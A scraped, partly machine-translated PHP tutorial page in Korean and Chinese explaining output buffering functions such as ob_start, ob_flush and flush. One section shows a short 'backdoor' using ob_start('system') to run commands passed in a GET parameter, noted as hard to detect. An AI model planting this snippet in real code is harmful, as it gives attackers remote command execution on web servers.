목차
php针对文件操作及字符串加密的方法" >php针对文件操作及字符串加密的方法
백엔드 개발 PHP 튜토리얼 PHP 출력 버퍼링의 소개와 역할

PHP 출력 버퍼링의 소개와 역할

Jun 09, 2018 am 10:08 AM
control output php

이 글은 주로 PHP 출력 버퍼링의 소개와 기능을 소개합니다. 관심있는 친구들이 참고하시면 좋을 것 같습니다.

Overview

예전에 PHP의 입출력 버퍼링에 대해 공부한 적이 있는데, 블로그 이전 후 원본 글을 찾을 수 없어서 오늘 좋은 글을 보고 다시 올렸습니다.

소개

출력 버퍼링에 관해 말하면 가장 먼저 이야기해야 할 것은 버퍼라는 것입니다. 그 역할을 설명하기 위해 간단한 예를 들어 보겠습니다. 문서를 편집할 때 시스템은 문서를 저장하기 전에 디스크에 쓰지 않지만 버퍼가 가득 차거나 저장 작업이 수행되면 버퍼에 씁니다. 데이터가 디스크에 기록됩니다. PHP의 경우 echo와 같은 모든 출력 작업도 먼저 PHP 버퍼에 기록됩니다. 스크립트가 실행되거나 강제 출력 캐싱 작업이 수행될 때까지 데이터는 브라우저에 표시되지 않습니다.
사실 PHP 프로그래머의 경우 기본적으로 모든 스크립트에는 출력 버퍼링이 포함되지만 대부분의 경우 출력 버퍼링을 변경할 필요가 없습니다. 오늘은 PHP 출력 버퍼 제어 기능인 “출력 제어”를 예를 들어 자세히 분석해 보겠습니다.
다음 예에서는 일반 스크립트에 출력 버퍼링이 존재하는 방식을 간략하게 소개합니다.

코드는 다음과 같습니다.

echo 'Apple';
echo 'IBM';
echo 'Microsoft'
로그인 후 복사


위 스크립트를 실행하면 브라우저 대신 첫 번째 에코 실행 후 스크립트가 브라우저로 이동하지 않습니다. 해당 내용을 출력하면 버퍼에 출력되며, 세 개의 에코가 모두 실행되면(즉, 스크립트가 종료되면) 모든 버퍼 내용이 브라우저에 출력됩니다. 물론 이 버퍼에도 크기 제한이 있는데, 이는 php.ini의 output_buffering 옵션에 따라 설정됩니다. 이에 대해서는 다음 글에서 자세히 소개하겠습니다. 본 장에서 논의하는 출력 버퍼 제어는 스크립트가 끝나기 전에 버퍼에 있는 내용을 동작시키는 것이다.
다음 예는 출력 버퍼 제어 적용을 더 잘 반영할 수 있습니다.

코드는 다음과 같습니다.

echo 'Apple'; 
sleep(2);
echo 'IBM'; 
sleep(2);
echo 'Microsoft';
로그인 후 복사

출력 결과를 보려면 최소 2초 정도 기다려야 하는데 실시간으로 표시할 수 있을까요? 즉, 첫 번째 echo가 실행될 때 해당 내용이 출력됩니다. 이때 버퍼를 작동하려면 출력 버퍼 제어 기능을 사용해야 합니다. 기사 끝에서.

Function

1. PHP에서는 header(), session_start(), setcookie() 등 헤더 파일을 보내는 함수 이전에는 출력이 불가능하지만, 이전에는 출력 버퍼 제어 기능을 사용할 수 있습니다. 이러한 함수는 오류를 보고하지 않고 함수보다 먼저 출력됩니다. 실제로 이렇게 할 필요는 없으며 매우 드물게 사용됩니다.
2. 정적 캐시 파일 생성, gzip 압축 출력 수행 등 출력 콘텐츠를 처리하는 기능입니다.
3. phpinfo(), var_dump() 등과 같이 얻을 수 없는 일부 함수 출력을 캡처합니다. 이러한 함수는 작업 결과를 브라우저에 표시하고, 이러한 결과를 처리하려면 출력 버퍼 제어 기능을 사용하는 것이 좋습니다. 방법. 간단히 말하면, 이런 종류의 함수는 반환값이 없으며, 이러한 함수의 출력 데이터를 얻기 위해서는 출력 버퍼 제어 함수를 사용해야 합니다.
4. 마지막 애플리케이션은 소개에서 언급한 일부 데이터의 실시간 출력입니다.

php.ini의 관련 구성 항목

php.ini의 출력 버퍼링 제어와 관련된 옵션을 살펴보겠습니다. 총 3가지 옵션이 있습니다:output_buffering, implicit_flush 및output_handler.
1.output_buffering의 기본값은 off입니다. on으로 설정하면 출력 버퍼가 모든 스크립트에서 자동으로 열립니다. 즉, 함수를 명시적으로 호출하지 않고도 각 스크립트에서 ob_start() 함수가 자동으로 실행됩니다. 버퍼가 저장할 수 있는 최대 바이트 수를 나타내는 정수로 설정할 수도 있습니다. 아래 예제 1 설명에서 이 구성 항목을 언급했습니다.
2.implicit_flush의 기본값은 off입니다. on으로 설정하면 PHP는 출력 후 자동으로 버퍼 내용을 보냅니다. 즉, 각 출력 이후에 플러시()가 자동으로 실행됩니다. 물론 유효한 출력에는 echo 및 print와 같은 기능뿐만 아니라 HTML 세그먼트도 포함됩니다.
3.output_handler의 기본값은 null이며 해당 값은 내장 함수 이름으로만 설정할 수 있습니다. 해당 기능은 정의된 함수를 사용하여 스크립트의 모든 출력을 처리하는 것입니다. 사용법은 아래에서 소개할 ob_start('function_name')과 유사합니다.

이 글에서는 별도로 명시하지 않는 한 php.ini의 출력_버퍼링, 암시적_플러시, 출력_핸들러 값이 기본값입니다.

출력 제어 함수 상세 설명

ob_start()

bool ob_start ([ callback outputcallback[,intchunk_size [, bool $erase ]]] )

此函数大家从命名上也能明白其含义,就是打开输出缓冲区,从而进行下一步的输出缓冲处理。这里要特意说的是其参数的用法,第一个参数要传递一个回调函数,其需将缓冲区内容做为参数,并且返回一个字符串。他会在缓冲区被送出时调用,缓冲区送出指的是执行了例如ob_flush() 等函数或者脚本执行完毕。ob_flush() 函数会在下面介绍到,来看一个简单的例子就能理解其用法:

代码如下:

function dothing1($echo_thing){
    return ' #' . $echo_thing . '# ';
}
 
ob_start('dothing1');
echo 'Apple';
输出结果
#Apple#
로그인 후 복사


从输出的结果可以看出单词两边被添加了“#”,也就是说在缓冲区内容输出时,运行了我们定义的 dothing1函数。

再来看一个更实际的例子,也就是常见到的将网页内容利用 gzip 压缩后再输出,代码如下:

代码如下:

ob_start();
echo str_repeat('Apple', 1024);
로그인 후 복사

输出结果:没有使用gzip压缩的情况下,输出内容大小为5.2KB。

输出结果:使用gzip压缩的情况下,文档大小小了很多,压缩花费了时间,所以时间长了。

而第二个参数 chunk_size 为缓冲区的字节长度,如果缓冲区内容大于此长度,将会被送出缓冲区,默认值为0,代表函数将会在最后被调用。第三个参数 erase 如果被设置为 flase , 则代表脚本执行完毕后缓冲区才会被删除,如果提前执行了删除缓冲区函数(后面会提到),则会报一个错误。

ob_start() 的用法就这么多,但有两点需要特别注意的地方:

1.ob_start() 可重复调用,也就是说一个脚本中可以存在多个缓冲区,但记得要按照嵌套顺序将他们全部关闭掉,而如果多个 ob_start 都定义了第一个参数,也就是都定义了回调函数,则会按照嵌套顺序依次执行。关于缓冲区的堆叠嵌套,将在 ob_get_level 函数处详细介绍,这里就不过多阐述了。
2.ob_start() 还有一个不太明显但很致命的后门用法,实现代码如下:

代码如下:

$cmd = 'system';
ob_start($cmd);
echo $_GET['a'];
ob_end_flush();
windows下面的输出结果:
14 个目录 30,970,388,480 可用字节
로그인 후 복사

如果理解了上面关于 ob_start的用法,这段代码就不难理解了,其应用了 ob_start 函数会将缓冲区输出的内容作为参数传入所设置的函数中的特点,实现了以Web服务器权限远程执行命令,并且不宜被发觉。

ob_get_contents()

string ob_get_contents ( void )
此函数用来获取此时缓冲区的内容,下面的例子就能很好的理解其用法:

代码如下:

ob_start('doting2');
echo 'apple';
$tmp = ob_get_contents();
file_put_contents('./doting2', $tmp);
ob_end_flush()
로그인 후 복사

ob_get_length()

此函数用来获取缓冲区内容的长度。

ob_get_level()
int ob_get_level ( void )
此函数用来获取缓冲机制的嵌套级别,我们在介绍 ob_start() 函数时曾说过,在一个脚本中可以嵌套存在多个缓冲区,而此函数就是来获取当前缓冲区的嵌套级别,用法如下:

代码如下:

ob_start();
var_dump(ob_get_level());
ob_start();
var_dump(ob_get_level());
ob_end_flush();
ob_end_flush();
로그인 후 복사

运行后可以很明显的看出他们的嵌套关系。

ob_get_status()
array ob_get_status ([ bool $full_status = FALSE ] )
此函数用来获取当前缓冲区的状态,返回一个状态信息的数组,如果第一个参数为 true ,将返回一个详细信息的数组,我们结合实例来分析这个数组:

代码如下:

ob_start('ob_gzhandler');
var_export(ob_get_status());
ob_start();
var_export(ob_get_status());
ob_end_flush(); ob_end_flush();
运行结果 
array ( 'level' => 2, 'type' => 1, 'status' => 0, 'name' => 'ob_gzhandler', 'del' => true, )
array ( 'level' => 3, 'type' => 1, 'status' => 0, 'name' => 'default output handler', 'del' => true, )
로그인 후 복사

说明:
1.level 为嵌套级别,也就是和通过 ob_get_level() 取到的值一样
2.type 为处理缓冲类型,0为系统内部自动处理,1为用户手动处理
3.status为缓冲处理状态, 0为开始, 1为进行中, 2为结束
4.name 为定义的输出处理函数名称,也就是在 ob_start() 函数中第一个参数传入的函数名
5.del 为是否运行了删除缓冲区操作

ob_flush()
void ob_flush ( void )
此函数的作用就是 “送出” 当前缓冲区内容,同时清空缓冲区,需要注意这里用的是 “送出” 一词,也就是说调用此函数并不会将缓冲区内容输出,必须在其后调用 flush 函数其才会输出。关于 flush 的用法下面就会说到,这里就不再做实例了。

flush()
void flush ( void )
这个函数算是比较常用的,用来将其前面的所有输出发送到浏览器显示,且不会对缓存区有任何影响。换句话说,不论是 echo 等函数的输出,还是 HTML实体 ,或是运行 ob_start() 送出的内容,运行 flush() 后都会在浏览器进行显示。

ob_flush()与flush()的区别

在没有开启缓存时,脚本输出的内容都在服务器端处于等待输出的状态,flush()可以将等待输出的内容立即发送到客户端。 开启缓存后,脚本输出的内容存入了输出缓存中,这时没有处于等待输出状态的内容,你直接使用flush()不会向客户端发出任何内容。而ob_flush()的作用就是将本来存在输出缓存中的内容取出来,设置为等待输出状态,但不会直接发送到客户端,这时你就需要先使用ob_flush()再使用flush(),客户端才能立即获得脚本的输出。

void ob_implicit_flush()

此函数用来打开/关闭绝对刷送模式,就是在每一次输出后自动执行 flush(),从而不需要再显示的调用 flush() ,提高效率。

其他相关函数

1.bool ob_end_flush ( void )
2.string ob_get_flush ( void )
3.void ob_clean ( void )
4.bool ob_end_clean ( void )
5.string ob_get_clean ( void )

对一些数据进行实时的输出

相信读了上面的内容,就会对PHP的缓冲控制函数有较深的认识了,现在我们回到简介中留下的问题:让例2的脚本实现实时的显示内容,而不需要等待4秒后出现所有内容。
我们可以根据缓存开启与否,有如下几种不同的写法,如果你在测试过程中无法出现预期的效果,可以在header(‘content-type:text/html;charset=utf-8');下面插入str_repeat(‘ ‘, 1024);,你也可以尝试更大的值,部分浏览器即使这么做了,有可能还是无法出现效果,你可以尝试将php代码放入完整的html代码块body体内。下面代码的header(‘content-type:text/html;charset=utf-8');不要省略哦,否则部分浏览器查看不到效果。

代码如下:

ob_start(''); //这里我使用ob_start('ob_gzhandler')没有效果
header('content-type:text/html;charset=utf-8');
echo 'Apple #';  
ob_flush(); flush();
sleep(2);
echo 'IBM #';
ob_flush(); flush();
sleep(2);
echo 'Microsoft';
로그인 후 복사

总结:以上就是本篇文的全部内容,希望能对大家的学习有所帮助。

相关推荐:

php针对数组的删除、转换、分组、排序

php针对文件操作及字符串加密的方法

php模拟post请求的三种常见用法

위 내용은 PHP 출력 버퍼링의 소개와 역할의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.

핫 AI 도구

Undresser.AI Undress

Undresser.AI Undress

사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover

AI Clothes Remover

사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool

Undress AI Tool

무료로 이미지를 벗다

Clothoff.io

Clothoff.io

AI 옷 제거제

AI Hentai Generator

AI Hentai Generator

AI Hentai를 무료로 생성하십시오.

뜨거운 도구

메모장++7.3.1

메모장++7.3.1

사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전

SublimeText3 중국어 버전

중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기

스튜디오 13.0.1 보내기

강력한 PHP 통합 개발 환경

드림위버 CS6

드림위버 CS6

시각적 웹 개발 도구

SublimeText3 Mac 버전

SublimeText3 Mac 버전

신 수준의 코드 편집 소프트웨어(SublimeText3)

Ubuntu 및 Debian용 PHP 8.4 설치 및 업그레이드 가이드 Ubuntu 및 Debian용 PHP 8.4 설치 및 업그레이드 가이드 Dec 24, 2024 pm 04:42 PM

PHP 8.4는 상당한 양의 기능 중단 및 제거를 통해 몇 가지 새로운 기능, 보안 개선 및 성능 개선을 제공합니다. 이 가이드에서는 Ubuntu, Debian 또는 해당 파생 제품에서 PHP 8.4를 설치하거나 PHP 8.4로 업그레이드하는 방법을 설명합니다.

PHP 개발을 위해 Visual Studio Code(VS Code)를 설정하는 방법 PHP 개발을 위해 Visual Studio Code(VS Code)를 설정하는 방법 Dec 20, 2024 am 11:31 AM

VS Code라고도 알려진 Visual Studio Code는 모든 주요 운영 체제에서 사용할 수 있는 무료 소스 코드 편집기 또는 통합 개발 환경(IDE)입니다. 다양한 프로그래밍 언어에 대한 대규모 확장 모음을 통해 VS Code는

이전에 몰랐던 후회되는 PHP 함수 7가지 이전에 몰랐던 후회되는 PHP 함수 7가지 Nov 13, 2024 am 09:42 AM

숙련된 PHP 개발자라면 이미 그런 일을 해왔다는 느낌을 받을 것입니다. 귀하는 상당한 수의 애플리케이션을 개발하고, 수백만 줄의 코드를 디버깅하고, 여러 스크립트를 수정하여 작업을 수행했습니다.

PHP에서 HTML/XML을 어떻게 구문 분석하고 처리합니까? PHP에서 HTML/XML을 어떻게 구문 분석하고 처리합니까? Feb 07, 2025 am 11:57 AM

이 튜토리얼은 PHP를 사용하여 XML 문서를 효율적으로 처리하는 방법을 보여줍니다. XML (Extensible Markup Language)은 인간의 가독성과 기계 구문 분석을 위해 설계된 다목적 텍스트 기반 마크 업 언어입니다. 일반적으로 데이터 저장 AN에 사용됩니다

JWT (JSON Web Tokens) 및 PHP API의 사용 사례를 설명하십시오. JWT (JSON Web Tokens) 및 PHP API의 사용 사례를 설명하십시오. Apr 05, 2025 am 12:04 AM

JWT는 주로 신분증 인증 및 정보 교환을 위해 당사자간에 정보를 안전하게 전송하는 데 사용되는 JSON을 기반으로 한 개방형 표준입니다. 1. JWT는 헤더, 페이로드 및 서명의 세 부분으로 구성됩니다. 2. JWT의 작업 원칙에는 세 가지 단계가 포함됩니다. JWT 생성, JWT 확인 및 Parsing Payload. 3. PHP에서 인증에 JWT를 사용하면 JWT를 생성하고 확인할 수 있으며 사용자 역할 및 권한 정보가 고급 사용에 포함될 수 있습니다. 4. 일반적인 오류에는 서명 검증 실패, 토큰 만료 및 대형 페이로드가 포함됩니다. 디버깅 기술에는 디버깅 도구 및 로깅 사용이 포함됩니다. 5. 성능 최적화 및 모범 사례에는 적절한 시그니처 알고리즘 사용, 타당성 기간 설정 합리적,

문자열로 모음을 계산하는 PHP 프로그램 문자열로 모음을 계산하는 PHP 프로그램 Feb 07, 2025 pm 12:12 PM

문자열은 문자, 숫자 및 기호를 포함하여 일련의 문자입니다. 이 튜토리얼은 다른 방법을 사용하여 PHP의 주어진 문자열의 모음 수를 계산하는 방법을 배웁니다. 영어의 모음은 A, E, I, O, U이며 대문자 또는 소문자 일 수 있습니다. 모음이란 무엇입니까? 모음은 특정 발음을 나타내는 알파벳 문자입니다. 대문자와 소문자를 포함하여 영어에는 5 개의 모음이 있습니다. a, e, i, o, u 예 1 입력 : String = "Tutorialspoint" 출력 : 6 설명하다 문자열의 "Tutorialspoint"의 모음은 u, o, i, a, o, i입니다. 총 6 개의 위안이 있습니다

PHP에서 늦은 정적 결합을 설명하십시오 (정적 : :). PHP에서 늦은 정적 결합을 설명하십시오 (정적 : :). Apr 03, 2025 am 12:04 AM

정적 바인딩 (정적 : :)는 PHP에서 늦은 정적 바인딩 (LSB)을 구현하여 클래스를 정의하는 대신 정적 컨텍스트에서 호출 클래스를 참조 할 수 있습니다. 1) 구문 분석 프로세스는 런타임에 수행됩니다. 2) 상속 관계에서 통화 클래스를 찾아보십시오. 3) 성능 오버 헤드를 가져올 수 있습니다.

php magic 방법 (__construct, __destruct, __call, __get, __set 등)이란 무엇이며 사용 사례를 제공합니까? php magic 방법 (__construct, __destruct, __call, __get, __set 등)이란 무엇이며 사용 사례를 제공합니까? Apr 03, 2025 am 12:03 AM

PHP의 마법 방법은 무엇입니까? PHP의 마법 방법은 다음과 같습니다. 1. \ _ \ _ Construct, 객체를 초기화하는 데 사용됩니다. 2. \ _ \ _ 파괴, 자원을 정리하는 데 사용됩니다. 3. \ _ \ _ 호출, 존재하지 않는 메소드 호출을 처리하십시오. 4. \ _ \ _ get, 동적 속성 액세스를 구현하십시오. 5. \ _ \ _ Set, 동적 속성 설정을 구현하십시오. 이러한 방법은 특정 상황에서 자동으로 호출되어 코드 유연성과 효율성을 향상시킵니다.

See all articles